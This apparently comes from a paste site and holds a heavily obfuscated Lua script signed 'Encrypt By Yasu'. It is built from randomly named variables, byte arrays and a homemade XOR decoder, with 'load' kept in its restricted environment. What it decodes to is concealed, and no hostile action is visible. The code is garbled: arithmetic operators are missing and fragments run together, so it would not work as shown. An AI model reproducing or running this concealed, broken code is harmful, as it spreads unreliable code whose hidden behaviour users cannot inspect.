mYeNZOLjhbkSgmEbtlzlyasLSVSwxAhXlyIXVzllUDdYKCWATXwtUhhdKVerZGgBQOkDUJwReAJeWLnEvYQjxXjdvpchfbreTMPHoDRPammTPZRMXZCHLdExMzsFSMjE=mYeNZOLjhbkSgmEbtlzlyasLSVSwxAhXlyIXVzllUDdYKCWATXwtUhhdKVerZGgBQOkDUJwReAJeWLnEvYQjxXjdvpchfbreTMPHoDRPammTPZRMXZCHLdExMzsFSMjE+1;aubJamUKWiSvuwbmieScaqrBBfDKYEwjQovlamPhnKRdFHkUwIOhYzbwexRpRlTuKzxwhebMlHcVcPIaAnpoSgzCkxUrFhPDSRbdSTCjviVEMDwiAjhmVFJkYlhBNQln=aubJamUKWiSvuwbmieScaqrBBfDKYEwjQovlamPhnKRdFHkUwIOhYzbwexRpRlTuKzxwhebMlHcVcPIaAnpoSgzCkxUrFhPDSRbdSTCjviVEMDwiAjhmVFJkYlhBNQln.._ENV["\115\116\114\105\110\103"]"\99\104\97\114";end;_ENV={string=string,table=table,math=math,pairs=pairs,load=load,print=print};sovWGjcuvigPisOQyMXebCwKaxzqBbAdxfMhTCrLEpZSVfztBhxCXbJsCzBGyLnUfqnuhxPkaguEOWBwYCXfkmhzRJksFhFxkrdawfmtjSDxjZPBtepveqINOVuOmwaS="mYeNZOLjhbkSgmEbtlzlyasLSVSwxAhXlyIXVzllUDdYKCWATXwtUhhdKVerZGgBQOkDUJwReAJeWLnEvYQjxXjdvpchfbreTMPHoDRPammTPZRMXZCHLdExMzsFSMjE";mYeNZOLjhbkSgmEbtlzlyasLSVSwxAhXlyIXVzllUDdYKCWATXwtUhhdKVerZGgBQOkDUJwReAJeWLnEvYQjxXjdvpchfbreTMPHoDRPammTPZRMXZCHLdExMzsFSMjE="sovWGjcuvigPisOQyMXebCwKaxzqBbAdxfMhTCrLEpZSVfztBhxCXbJsCzBGyLnUfqnuhxPkaguEOWBwYCXfkmhzRJksFhFxkrdawfmtjSDxjZPBtepveqINOVuOmwaS";dvirqrXjUeVtVMYSqKIljguObGrTFWqJXCzBCrzmKiHdBVvOetwwOPKHYQfHmDfnfqcFWjAzseyeBRkJSQxuLKWaYlTzhKNTXTKPmkLpgDRfrqFKndXXMRmVIRyCyZPZ={103,80,106,72,99,69,112,102,105,117,117,86,66,109,109,97,104,69,102,120,75,75,72,87,71,118,89,99,101,102,121,83,83,89,103,78,104,80,106,89,116,70,122,73,105,103,107,111,117,80,117,110,77,111,90,116,72,90,100,77,103,113,112,102,105,122,87,71,73,105,118,105,78,78,107,105,75,101,68,75,111,79,76,79,118,120,79,103,107,73,111,85,117,98,65,87,72,101,107,116,110,105,72,117,97,122,109,70,70,111,115,70,69,111,106,110,67,109,87,65,66,78,119,76,87,118,65,119};function xor(t)local ciphertext="";for i=1,#mYeNZOLjhbkSgmEbtlzlyasLSVSwxAhXlyIXVzllUDdYKCWATXwtUhhdKVerZGgBQOkDUJwReAJeWLnEvYQjxXjdvpchfbreTMPHoDRPammTPZRMXZCHLdExMzsFSMjE do local byte=string.byte(mYeNZOLjhbkSgmEbtlzlyasLSVSwxAhXlyIXVzllUDdYKCWATXwtUhhdKVerZGgBQOkDUJwReAJeWLnEvYQjxXjdvpchfbreTMPHoDRPammTPZRMXZCHLdExMzsFSMjE, i);local quibit=string.byte(sovWGjcuvigPisOQyMXebCwKaxzqBbAdxfMhTCrLEpZSVfztBhxCXbJsCzBGyLnUfqnuhxPkaguEOWBwYCXfkmhzRJksFhFxkrdawfmtjSDxjZPBtepveqINOVuOmwaS,(i-1)%#sovWGjcuvigPisOQyMXebCwKaxzqBbAdxfMhTCrLEpZSVfztBhxCXbJsCzBGyLnUfqnuhxPkaguEOWBwYCXfkmhzRJksFhFxkrdawfmtjSDxjZPBtepveqINOVuOmwaS+1);ciphertext=ciphertext..string.char(bit.bxor(byte,quibit));end;return ciphertext;end;bit={bxor=function(a,b)local r,m=0,1;while a>0 and b>0 do local aa,bb=a%2,b%2;r=r+m((aa+bb)%2);m=m2;a=math.floor(a/2);b=math.floor(b/2) end;if a>0 then r=r+ma end;if b>0 then r=r+mb end;return r;end};xor(dvirqrXjUeVtVMYSqKIljguObGrTFWqJXCzBCrzmKiHdBVvOetwwOPKHYQfHmDfnfqcFWjAzseyeBRkJSQxuLKWaYlTzhKNTXTKPmkLpgDRfrqFKndXXMRmVIRyCyZPZ)BnBSPjdUNCmChckWUVqATxfpgeUBrndQqnKyveoJrzICrBIhTYPjMxKOqzNJvGhvheMtzTnAwDMFitcahCOZoDlBAWOKezghymgKQZMATyAMtPOLlRmZVgtfXKGWDcMiz="Encrypt By Yasu";_ENV={string=string,table=table,math=math,pairs=pairs,load=load,print=print};BnBSPjdUNCmChckWUVqATxfpgeUBrndQqnKyveoJrzICrBIhTYPjMxKOqzNJvGhvheMtzTnAwDMFitcahCOZoDlBAWOKezghymgKQZMATyAMtPOLlRmZVgtfXKGWDcMi="mYeNZOLjhbkSgmEbtlzlyasLSVSwxAhXlyIXVzllUDdYKCWATXwtUhhdKVerZGgBQOkDUJwReAJeWLnEvYQjxXjdvpchfbreTMPHoDRPammTPZRMXZCHLdExMzsFSMjE";mYeNZOLjhbkSgmEbtlzlyasLSVSwxAhXlyIXVzllUDdYKCWATXwtUhhdKVerZGgBQOkDUJwReAJeWLnEvYQjxXjdvpchfbreTMPHoDRPammTPZRMXZCHLdExMzsFSMjE="BnBSPjdUNCmChckWUVqATxfpgeUBrndQqnKyveoJrzICrBIhTYPjMxKOqzNJvGhvheMtzTnAwDMFitcahCOZoDlBAWOKezghymgKQZMATyAMtPOLlRmZVgtfXKGWDcMi";aubJamUKWiSvuwbmieScaqrBBfDKYEwjQovlamPhnKRdFHkUwIOhYzbwexRpRlTuKzxwhebMlHcVcPIaAnpoSgzCkxUrFhPDSRbdSTCjviVEMDwiAjhmVFJkYlhBNQln={81,114,111,77,77,85,67,70,114,80,74,120,120,70,82,73,69,118,116,111,77,113,67,121,119,69,99,78,100,65,82,80,83,76,110,73,88,117,68,72,73,97,97,71,102,102,86,115,120,107,74,99,76,97,65,112,98,87,72,89,90,88,120,87,89,100,113,83,97,115,71,80,85,108,78,112,115,106,67,67,68,111,105,116,66,98,100,103,68,115,90,82,88,78,78,89,88,99,106,71,114,119,74,122,120,87,87,89,84,82,110,83,82,89,72,82,78,78,104,121,73,66,121,66,67,86,99,65};function xor(t)local ciphertext="";for i=1,#mYeNZOLjhbkSgmEbtlzlyasLSVSwxAhXlyIXVzllUDdYKCWATXwtUhhdKVerZGgBQOkDUJwReAJeWLnEvYQjxXjdvpchfbreTMPHoDRPammTPZRMXZCHLdExMzsFSMjE do local byte=string.byte(mYeNZOLjhbkSgmEbtlzlyasLSVSwxAhXlyIXVzllUDdYKCWATXwtUhhdKVerZGgBQOkDUJwReAJeWLnEvYQjxXjdvpchfbreTMPHoDRPammTPZRMXZCHLdExMzsFSMjE, i);local quibit=string.byte(BnBSPjdUNCmChckWUVqATxfpgeUBrndQqnKyveoJrzICrBIhTYPjMxKOqzNJvGhvheMtzTnAwDMFitcahCOZoDlBAWOKezghymgKQZMATyAMtPOLlRmZVgtfXKGWDcMi,(i-1)%#BnBSPjdUNCmChckWUVqATxfpgeUBrndQqnKyveoJrzICrBIhTYPjMxKOqzNJvGhvheMtzTnAwDMFitcahCOZoDlBAWOKezghymgKQZMATyAMtPOLlRmZVgtfXKGWDcMi+1);ciphertext=ciphertext..string.char(bit.bxor(byte,quibit));end;return ciphertext;end;bit={bxor=function(a,b)local r,m=0,1;while a>0 and b>0 do local aa,bb=a%2,b%2;r=r+m((aa+bb)%2);m=m2;a=math.floor(a/2);b=math.floor(b/2) end;if a>0 then r=r+ma end;if b>0 then r=r+mb end;return r;end};xor(aubJamUKWiSvuwbmieScaqrBBfDKYEwjQovlamPhnKRdFHkUwIOhYzbwexRpRlTuKzxwhebMlHcVcPIaAnpoSgzCkxUrFhPDSRbdSTCjviVEMDwiAjhmVFJkYlhBNQln)BnBSPjdUNCmChckWUVqATxfpgeUBrndQqnKyveoJrzICrBIhTYPjMxKOqzNJvGhvheMtzTnAwDMFitcahCOZoDlBAWOKezghymgKQZMATyAMtPOLlRmZVgtfXKGWDcMiz="Encrypt By Yasu";_ENV={string=string,table=table,math=math,pairs=pairs,load=load,print=print};sovWGjcuvigPisOQyMXebCwKaxzqBbAdxfMhTCrLEpZSVfztBhxCXbJsCzBGyLnUfqnuhxPkaguEOWBwYCXfkmhzRJksFhFxkrdawfmtjSDxjZPBtepveqINOVuOmwaS="BnBSPjdUNCmChckWUVqATxfpgeUBrndQqnKyveoJrzICrBIhTYPjMxKOqzNJvGhvheMtzTnAwDMFitcahCOZoDlBAWOKezghymgKQZMATyAMtPOLlRmZVgtfXKGWDcMi";BnBSPjdUNCmChckWUVqATxfpgeUBrndQqnKyveoJrzICrBIhTYPjMxKOqzNJvGhvheMtzTnAwDMFitcahCOZoDlBAWOKezghymgKQZMATyAMtPOLlRmZVgtfXKGWDcMi="sovWGjcuvigPisOQyMXebCwKaxzqBbAdxfMhTCrLEpZSVfztBhxCXbJsCzBGyLnUfqnuhxPkaguEOWBwYCXfkmhzRJksFhFxkrdawfmtjSDxjZPBtepveqINOVuOmwaS";VbdSOuPEDJccwCuBIaNoqScYPcuzAYrqyvizGZjtqWazBNFCtOgDpkImGAIonsViXbnHnOYwlqnAdAZVvLPZMESdLaQZMbBQytgMaNHnvtUrwWcAuAjYkIxUoiGAMuCW={115,101,98,87,113,98,106,78,101,81,118,79,71,110,106,110,78,82,70,88,105,82,70,108,70,79,100,110,98,100,70,107,81,77,118,114,111,119,102,103,84,113,118,82,104,101,107,70,67,70,98,79,77,83,82,75,103,69,114,74,108,69,102,97,83,90,81,122,86,89,78,100,85,89,113,84,120,109,111,89,83,110,107,83,122,118,74,110,76,106,116,65,89,113,88,75,76,102,77,83,104,116,98,89,118,79,65,67,79,73,70,72,108,90,99,105,65,83,99,72,88,100,66,90,114,80,121,84};function xor(t)local ciphertext="";for i=1,#BnBSPjdUNCmChckWUVqATxfpgeUBrndQqnKyveoJrzICrBIhTYPjMxKOqzNJvGhvheMtzTnAwDMFitcahCOZoDlBAWOKezghymgKQZMATyAMtPOLlRmZVgtfXKGWDcMi do local byte=string.byte(BnBSPjdUNCmChckWUVqATxfpgeUBrndQqnKyveoJrzICrBIhTYPjMxKOqzNJvGhvheMtzTnAwDMFitcahCOZoDlBAWOKezghymgKQZMATyAMtPOLlRmZVgtfXKGWDcMi, i);local quibit=string.byte(sovWGjcuvigPisOQyMXebCwKaxzqBbAdxfMhTCrLEpZSVfztBhxCXbJsCzBGyLnUfqnuhxPkaguEOWBwYCXfkmhzRJksFhFxkrdawfmtjSDxjZPBtepveqINOVuOmwaS,(i-1)%#sovWGjcuvigPisOQyMXebCwKaxzqBbAdxfMhTCrLEpZSVfztBhxCXbJsCzBGyLnUfqnuhxPkaguEOWBwYCXfkmhzRJksFhFxkrdawfmtjSDxjZPBtepveqINOVuOmwaS+1);ciphertext=ciphertext..string.char(bit.bxor(byte,quibit));end;return ciphertext;end;bit={bxor=function(a,b)local r,m=0,1;while a>0 and b>0 do local aa,bb=a%2,b%2;r=r+m((aa+bb)%2);m=m2;a=math.floor(a/2);b=math.floor(b/2) end;if a>0 then r=r+ma end;if b>0 then r=r+mb end;return r;end};xor(VbdSOuPEDJccwCuBIaNoqScYPcuzAYrqyvizGZjtqWazBNFCtOgDpkImGAIonsViXbnHnOYwlqnAdAZVvLPZMESdLaQZMbBQytgMaNHnvtUrwWcAuAjYkIxUoiGAMuCW)BnBSPjdUNCmChckWUVqATxfpgeUBrndQqnKyveoJrzICrBIhTYPjMxKOqzNJvGhvheMtzTnAwDMFitcahCOZoDlBAWOKezghymgKQZMATyAMtPOLlRmZVgtfXKGWDcMiz="Encrypt By Yasu";

Edit Report
Pub: 10 Jul 2023 10:39 UTC
Views: 162